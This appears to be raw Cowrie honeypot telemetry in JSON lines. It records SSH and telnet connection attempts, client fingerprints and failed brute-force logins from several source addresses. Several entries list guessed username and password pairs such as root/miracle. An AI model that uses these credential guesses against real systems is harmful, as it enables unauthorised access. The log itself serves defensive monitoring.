{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:42.960387Z","src_ip":"43.173.85.181","session":"470abf4f5209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.962056159973145,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:43.206408Z","src_ip":"152.42.224.71","session":"f3a79e3353b3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste@123","message":"login attempt [root/teste@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:43.261530Z","src_ip":"43.173.85.181","session":"470abf4f5209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:44.332555Z","src_ip":"43.173.85.181","session":"470abf4f5209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33322,"dst_ip":"10.17.0.5","dst_port":23,"session":"067027b3ab63","protocol":"telnet","message":"New connection: 152.42.224.71:33322 (10.17.0.5:23) [session: 067027b3ab63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:47.509778Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33334,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7245944c395","protocol":"telnet","message":"New connection: 152.42.224.71:33334 (10.17.0.5:23) [session: d7245944c395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:49.411897Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33338,"dst_ip":"10.17.0.5","dst_port":23,"session":"535556b34931","protocol":"telnet","message":"New connection: 152.42.224.71:33338 (10.17.0.5:23) [session: 535556b34931]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:50.441082Z"}
{"eventid":"cowrie.session.closed","duration":83.27885007858276,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:52.809220Z","src_ip":"152.42.224.71","session":"222262a90c35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33340,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae09e29794f2","protocol":"telnet","message":"New connection: 152.42.224.71:33340 (10.17.0.5:23) [session: ae09e29794f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:54.872200Z"}
{"eventid":"cowrie.session.closed","duration":50.93863081932068,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:55.548235Z","src_ip":"152.42.224.71","session":"aaa64ac0ee15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.34841704368591,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:53:56.908036Z","src_ip":"152.42.224.71","session":"8d9b00494e48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38668,"dst_ip":"10.17.0.5","dst_port":23,"session":"8282f528c1a2","protocol":"telnet","message":"New connection: 152.42.224.71:38668 (10.17.0.5:23) [session: 8282f528c1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:00.990202Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38680,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb44ffb2fe3f","protocol":"telnet","message":"New connection: 152.42.224.71:38680 (10.17.0.5:23) [session: cb44ffb2fe3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:01.701253Z"}
{"eventid":"cowrie.session.closed","duration":107.91233658790588,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:03.691077Z","src_ip":"152.42.224.71","session":"b66bf21e634b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50104,"dst_ip":"10.17.0.5","dst_port":23,"session":"77c99ab7d22c","protocol":"telnet","message":"New connection: 152.42.224.71:50104 (10.17.0.5:23) [session: 77c99ab7d22c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:08.134241Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50112,"dst_ip":"10.17.0.5","dst_port":23,"session":"514354bd413b","protocol":"telnet","message":"New connection: 152.42.224.71:50112 (10.17.0.5:23) [session: 514354bd413b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:09.084594Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50114,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e1e2ed89e3b","protocol":"telnet","message":"New connection: 152.42.224.71:50114 (10.17.0.5:23) [session: 6e1e2ed89e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:09.746881Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50122,"dst_ip":"10.17.0.5","dst_port":23,"session":"770a93a8d988","protocol":"telnet","message":"New connection: 152.42.224.71:50122 (10.17.0.5:23) [session: 770a93a8d988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:14.023465Z"}
{"eventid":"cowrie.session.closed","duration":48.96402597427368,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:15.160530Z","src_ip":"152.42.224.71","session":"413486b3ff39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34168,"dst_ip":"10.17.0.5","dst_port":23,"session":"2990a6c3b7fc","protocol":"telnet","message":"New connection: 152.42.224.71:34168 (10.17.0.5:23) [session: 2990a6c3b7fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:17.501826Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34178,"dst_ip":"10.17.0.5","dst_port":23,"session":"73616395639a","protocol":"telnet","message":"New connection: 152.42.224.71:34178 (10.17.0.5:23) [session: 73616395639a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:17.986687Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.8.188","src_port":44976,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eba530b4c4d","protocol":"ssh","message":"New connection: 101.47.8.188:44976 (159.203.135.109:22) [session: 7eba530b4c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:17.992091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:18.014182Z","src_ip":"101.47.8.188","session":"7eba530b4c4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:18.248895Z","src_ip":"101.47.8.188","session":"7eba530b4c4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34186,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fbfbbaa4608","protocol":"telnet","message":"New connection: 152.42.224.71:34186 (10.17.0.5:23) [session: 8fbfbbaa4608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:18.255393Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.95.8","src_port":33682,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7a0eddb1ac5","protocol":"ssh","message":"New connection: 167.86.95.8:33682 (10.17.0.5:22) [session: c7a0eddb1ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:18.782298Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:18.787537Z","src_ip":"167.86.95.8","session":"c7a0eddb1ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:18.892717Z","src_ip":"167.86.95.8","session":"c7a0eddb1ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"juan","password":"123","message":"login attempt [juan/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:19.220576Z","src_ip":"101.47.8.188","session":"7eba530b4c4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mw","password":"123456","message":"login attempt [mw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:19.330800Z","src_ip":"167.86.95.8","session":"c7a0eddb1ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:20.427347Z","src_ip":"167.86.95.8","session":"c7a0eddb1ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:20.463011Z","src_ip":"101.47.8.188","session":"7eba530b4c4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00595355033875,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:24.937545Z","src_ip":"152.42.224.71","session":"e2e715fe7583","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.80729269981384,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:25.316795Z","src_ip":"152.42.224.71","session":"067027b3ab63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.68014717102051,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:33.091958Z","src_ip":"152.42.224.71","session":"d7245944c395","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":41014,"dst_ip":"159.203.135.109","dst_port":22,"session":"828b2b93a5e3","protocol":"ssh","message":"New connection: 47.237.167.49:41014 (159.203.135.109:22) [session: 828b2b93a5e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:35.890520Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.159.114.178","src_port":63372,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e19e445fc61","protocol":"telnet","message":"New connection: 221.159.114.178:63372 (10.17.0.5:23) [session: 1e19e445fc61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:37.666543Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42074,"dst_ip":"10.17.0.5","dst_port":23,"session":"00cd2c4011ea","protocol":"telnet","message":"New connection: 152.42.224.71:42074 (10.17.0.5:23) [session: 00cd2c4011ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:42.481857Z"}
{"eventid":"cowrie.session.closed","duration":35.563769578933716,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:44.648240Z","src_ip":"152.42.224.71","session":"514354bd413b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42078,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c50e3be1b7f","protocol":"telnet","message":"New connection: 152.42.224.71:42078 (10.17.0.5:23) [session: 4c50e3be1b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:45.018963Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42090,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f81b31f74b1","protocol":"telnet","message":"New connection: 152.42.224.71:42090 (10.17.0.5:23) [session: 8f81b31f74b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:46.226048Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":34624,"dst_ip":"10.17.0.5","dst_port":22,"session":"a79512f562f0","protocol":"ssh","message":"New connection: 94.159.98.239:34624 (10.17.0.5:22) [session: a79512f562f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:47.550859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:47.555820Z","src_ip":"94.159.98.239","session":"a79512f562f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:47.676980Z","src_ip":"94.159.98.239","session":"a79512f562f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miracle","message":"login attempt [root/miracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:48.028699Z","src_ip":"94.159.98.239","session":"a79512f562f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:49.146744Z","src_ip":"94.159.98.239","session":"a79512f562f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.00952672958374,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:50.450504Z","src_ip":"152.42.224.71","session":"535556b34931","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53342,"dst_ip":"10.17.0.5","dst_port":22,"session":"56a141f0f0c0","protocol":"ssh","message":"New connection: 103.153.68.219:53342 (10.17.0.5:22) [session: 56a141f0f0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:51.097422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:51.102409Z","src_ip":"103.153.68.219","session":"56a141f0f0c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:51.353586Z","src_ip":"103.153.68.219","session":"56a141f0f0c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2s3d4f5g","message":"login attempt [root/1a2s3d4f5g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:52.104049Z","src_ip":"103.153.68.219","session":"56a141f0f0c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:53.354659Z","src_ip":"103.153.68.219","session":"56a141f0f0c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.29144477844238,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:53.792957Z","src_ip":"152.42.224.71","session":"2990a6c3b7fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.039769411087036,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:54.026318Z","src_ip":"152.42.224.71","session":"73616395639a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46472,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c031317d689","protocol":"telnet","message":"New connection: 152.42.224.71:46472 (10.17.0.5:23) [session: 4c031317d689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:54.287646Z"}
{"eventid":"cowrie.session.closed","duration":46.42399048805237,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:54.558093Z","src_ip":"152.42.224.71","session":"77c99ab7d22c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.41637206077576,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:54.671694Z","src_ip":"152.42.224.71","session":"8fbfbbaa4608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46458,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c0346870caa","protocol":"telnet","message":"New connection: 152.42.224.71:46458 (10.17.0.5:23) [session: 0c0346870caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:54:54.801562Z"}
